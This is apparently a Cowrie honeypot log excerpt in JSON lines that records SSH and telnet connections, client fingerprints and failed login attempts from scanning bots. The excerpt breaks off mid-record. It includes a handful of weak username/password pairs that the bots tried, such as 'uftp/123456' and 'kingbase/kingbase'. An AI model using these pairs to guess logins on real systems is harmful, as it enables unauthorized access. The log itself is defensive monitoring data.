{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:10.328426Z","src_ip":"192.109.200.78","session":"cac689c55426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:10.585199Z","src_ip":"192.109.200.78","session":"cac689c55426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:11.671812Z","src_ip":"192.109.200.78","session":"cac689c55426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"118c25d2a340","protocol":"ssh","message":"New connection: 192.109.200.78:38008 (159.203.135.109:22) [session: 118c25d2a340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:13.921531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:13.926973Z","src_ip":"192.109.200.78","session":"118c25d2a340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:14.009464Z","src_ip":"192.109.200.78","session":"118c25d2a340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":51593,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c14059c562","protocol":"ssh","message":"New connection: 177.54.62.66:51593 (10.17.0.5:22) [session: c7c14059c562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:14.071037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:14.077021Z","src_ip":"177.54.62.66","session":"c7c14059c562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:14.212922Z","src_ip":"177.54.62.66","session":"c7c14059c562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:14.257469Z","src_ip":"192.109.200.78","session":"118c25d2a340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"testuser","message":"login attempt [user/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:14.788676Z","src_ip":"177.54.62.66","session":"c7c14059c562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:15.404479Z","src_ip":"192.109.200.78","session":"118c25d2a340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:15.934189Z","src_ip":"177.54.62.66","session":"c7c14059c562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38024,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd935cc89da1","protocol":"ssh","message":"New connection: 192.109.200.78:38024 (159.203.135.109:22) [session: bd935cc89da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:17.629059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:17.640688Z","src_ip":"192.109.200.78","session":"bd935cc89da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:17.799430Z","src_ip":"192.109.200.78","session":"bd935cc89da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:18.400735Z","src_ip":"192.109.200.78","session":"bd935cc89da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:19.485658Z","src_ip":"192.109.200.78","session":"bd935cc89da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.9.35.16","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1f9c9d4654","protocol":"telnet","message":"New connection: 191.9.35.16:48302 (10.17.0.5:23) [session: 4b1f9c9d4654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:20.065102Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38026,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed32af52ee4","protocol":"ssh","message":"New connection: 192.109.200.78:38026 (159.203.135.109:22) [session: 2ed32af52ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:21.451876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:21.456859Z","src_ip":"192.109.200.78","session":"2ed32af52ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:21.539976Z","src_ip":"192.109.200.78","session":"2ed32af52ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:21.788807Z","src_ip":"192.109.200.78","session":"2ed32af52ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:22.875347Z","src_ip":"192.109.200.78","session":"2ed32af52ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38028,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6cd419af39c","protocol":"ssh","message":"New connection: 192.109.200.78:38028 (159.203.135.109:22) [session: a6cd419af39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:25.256655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:25.262017Z","src_ip":"192.109.200.78","session":"a6cd419af39c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:25.345334Z","src_ip":"192.109.200.78","session":"a6cd419af39c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:25.905271Z","src_ip":"192.109.200.78","session":"a6cd419af39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47776,"dst_ip":"159.203.135.109","dst_port":22,"session":"51912883ef20","protocol":"ssh","message":"New connection: 80.94.92.186:47776 (159.203.135.109:22) [session: 51912883ef20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:26.614658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:26.732119Z","src_ip":"80.94.92.186","session":"51912883ef20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:26.739804Z","src_ip":"80.94.92.186","session":"51912883ef20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:26.992450Z","src_ip":"192.109.200.78","session":"a6cd419af39c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:27.784300Z","src_ip":"80.94.92.186","session":"51912883ef20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:28.904507Z","src_ip":"80.94.92.186","session":"51912883ef20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53568,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ecde1a9001b","protocol":"ssh","message":"New connection: 192.109.200.78:53568 (159.203.135.109:22) [session: 3ecde1a9001b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:28.997383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:29.002009Z","src_ip":"192.109.200.78","session":"3ecde1a9001b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:29.115241Z","src_ip":"192.109.200.78","session":"3ecde1a9001b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:29.500568Z","src_ip":"192.109.200.78","session":"3ecde1a9001b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:30.898436Z","src_ip":"192.109.200.78","session":"3ecde1a9001b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d6ac6af05b7","protocol":"ssh","message":"New connection: 170.79.37.88:56920 (159.203.135.109:22) [session: 0d6ac6af05b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:31.379550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:45:31.384078Z","src_ip":"170.79.37.88","session":"0d6ac6af05b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sh